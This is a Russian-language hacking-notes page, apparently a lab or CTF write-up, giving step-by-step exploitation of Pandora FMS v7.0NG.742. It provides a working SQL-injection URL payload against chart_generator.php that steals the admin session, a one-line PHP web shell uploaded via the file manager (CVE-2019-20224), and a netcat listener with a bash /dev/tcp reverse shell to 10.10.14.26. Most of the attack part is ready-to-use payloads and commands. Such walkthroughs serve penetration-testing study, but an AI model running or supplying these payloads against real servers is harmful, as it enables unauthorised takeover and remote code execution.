> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/pandora-cms-exploitation.md).

# Pandora

Заметки по Pandora FMS: SQL-инъекция, угон сессии администратора, RCE через загрузку файлов и получение shell-доступа.

## Эксплуатация Pandora FMS — SQL-инъекция

### **SQL-инъекция — перехват админской сессии**

Эта команда перенаправляет локальные HTTP-запросы на внутренний веб-сервер.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1344636b4c5572eafe41e6133cccc13b3ee577d%2Fimage%20(2543).png?alt=media" alt=""><figcaption></figcaption></figure>

Обнаруженная версия: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59720542c23b9a6d649c311a36e4fc17b8250570%2Fimage%20(2544).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Известная уязвимость в `chart_generator.php` через `переменную` :

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b37a64cd509f8bf1967453b7bc05927de61376e6%2Fimage%20(2545).png?alt=media" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8b2f7ae80950be216a7707ea3923d7a06705f4%2Fimage%20(2546).png?alt=media" alt=""><figcaption></figcaption></figure>

Выполните SQL-инъекцию, чтобы перехватить сессию администратора:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* Эта команда возвращает cookie админской сессии.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb623affcfbdcdad5a9061b59c97ad0e48e8586%2Fimage%20(2547).png?alt=media" alt=""><figcaption></figcaption></figure>

Используйте cookie, чтобы получить доступ к панели управления как администратор.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f42b8d7935a165b586e1b12dddb2e69085883240%2Fimage%20(2549).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Удалённое выполнение кода (RCE) — /\[CVE-2019-20224]**

Перейдите в **Файловый менеджер**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72de89fc96f3a27ae3043a7eeee3ff78d3ff73f6%2Fimage%20(2551).png?alt=media" alt=""><figcaption></figcaption></figure>

Загрузите вредоносный PHP-файл:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* Файл доступен по адресу `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-245aa646e3e8dbd7bf64ac94af897aad24d448c5%2Fimage%20(2552).png?alt=media" alt=""><figcaption></figcaption></figure>

Выполните обратную оболочку:

* Запустите локальный прослушиватель:

```bash
nc -nvlp 443
```

* Выполнение команд на целевом сервере:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

Доступ получен от имени пользователя `matt`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2a2cc786a2aab06e86d9fb95a0c41455947bc3%2Fimage%20(2553).png?alt=media" alt=""><figcaption></figcaption></figure>


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